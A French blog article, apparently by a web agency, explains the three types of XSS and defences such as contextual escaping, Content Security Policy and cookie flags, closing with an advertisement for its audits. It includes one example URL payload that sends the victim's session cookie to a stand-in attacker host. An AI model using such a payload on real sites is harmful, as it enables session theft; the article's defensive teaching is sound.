Qu’est-ce qu’une attaque XSS ?
Le cross-site scripting (XSS) est une vulnérabilité qui permet à un attaquant d’injecter du code JavaScript malveillant dans une page web consultée par d’autres utilisateurs. Concrètement, le navigateur de la victime exécute ce code comme s’il provenait du site légitime.
Les conséquences sont sérieuses :
- Vol de cookies de session et usurpation d’identité
- Redirection vers des sites de phishing
- Modification du contenu affiché à l’utilisateur
- Enregistrement des frappes clavier (keylogging)
Selon le rapport OWASP Top 10, le XSS figure parmi les failles de sécurité les plus répandues depuis plus de 15 ans. En 2023, environ 53 % des applications web testées présentaient encore au moins une vulnérabilité XSS selon les données de HackerOne.
Les trois types de XSS à connaître
XSS réfléchi (Reflected XSS)
Le code malveillant est intégré dans une URL piégée. Lorsque l’utilisateur clique sur le lien, le serveur “réfléchit” le script dans la page de réponse. C’est le type le plus courant : il représente environ 75 % des attaques XSS observées.
Exemple typique : un champ de recherche qui affiche le terme saisi sans l’assainir.
https://exemple.com/recherche?q=<script>document.location='https://pirate.com/vol?c='+document.cookie</script>
XSS stocké (Stored XSS)
Le script malveillant est enregistré en base de données (via un commentaire, un profil utilisateur, un forum). Chaque visiteur qui consulte la page concernée est touché. C’est la forme la plus dangereuse car elle ne nécessite aucune interaction de la victime avec un lien piégé.
XSS basé sur le DOM (DOM-based XSS)
Ici, la faille se situe entièrement côté client. Le JavaScript de la page manipule le DOM à partir de données non fiables (URL, hash, paramètres) sans passer par le serveur. Les outils d’analyse classiques côté serveur ne le détectent souvent pas.
Comment protéger votre site contre le XSS
Échapper et assainir toutes les données
C’est la règle d’or : ne jamais faire confiance aux données utilisateur. Chaque donnée affichée dans le HTML doit être échappée selon son contexte (HTML, attribut, JavaScript, URL).
- Utilisez les fonctions natives :
htmlspecialchars()en PHP,textContenten JavaScript - Côté WordPress, privilégiez
esc_html(),esc_attr(),wp_kses() - Côté Prestashop, utilisez les méthodes de validation intégrées et l’échappement Smarty/Twig
Mettre en place une Content Security Policy (CSP)
L’en-tête HTTP Content-Security-Policy indique au navigateur quelles sources de scripts sont autorisées. Une CSP bien configurée bloque l’exécution de scripts injectés, même si une faille XSS existe.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.fiable.com;
C’est l’une des défenses les plus efficaces, encore sous-utilisée : moins de 15 % des sites web déploient une CSP stricte selon les données du HTTP Archive.
Appliquer les bonnes pratiques complémentaires
- Activer le flag HttpOnly sur les cookies sensibles pour empêcher leur lecture par JavaScript
- Utiliser le flag SameSite pour limiter l’envoi de cookies dans les requêtes cross-origin
- Valider côté serveur toutes les entrées (type, longueur, format attendu)
- Maintenir à jour votre CMS, vos plugins et vos dépendances JavaScript
- Effectuer des audits de sécurité réguliers et des tests de pénétration
Un enjeu concret pour tous les sites
Qu’il s’agisse d’un site vitrine WordPress, d’une boutique Prestashop ou d’une application sur mesure, aucun projet web n’est à l’abri du XSS. Chez Lueur Externe, agence web basée dans les Alpes-Maritimes et certifiée Prestashop et AWS Solutions Architect, la sécurité est intégrée dès la conception de chaque projet. Nous appliquons systématiquement l’échappement contextuel, les en-têtes CSP et les audits de vulnérabilités.
Conclusion : ne laissez pas le XSS compromettre votre activité
Les attaques XSS sont courantes, souvent simples à exploiter, mais aussi relativement simples à prévenir quand les bonnes pratiques sont appliquées dès le départ. Échappement rigoureux, CSP stricte, mises à jour régulières et audits : la combinaison de ces mesures réduit drastiquement votre surface d’attaque.
Vous souhaitez vérifier la sécurité de votre site ou renforcer ses défenses ? Les experts de Lueur Externe réalisent des audits complets et vous accompagnent pour corriger les vulnérabilités avant qu’elles ne soient exploitées. Contactez-nous pour protéger votre présence en ligne.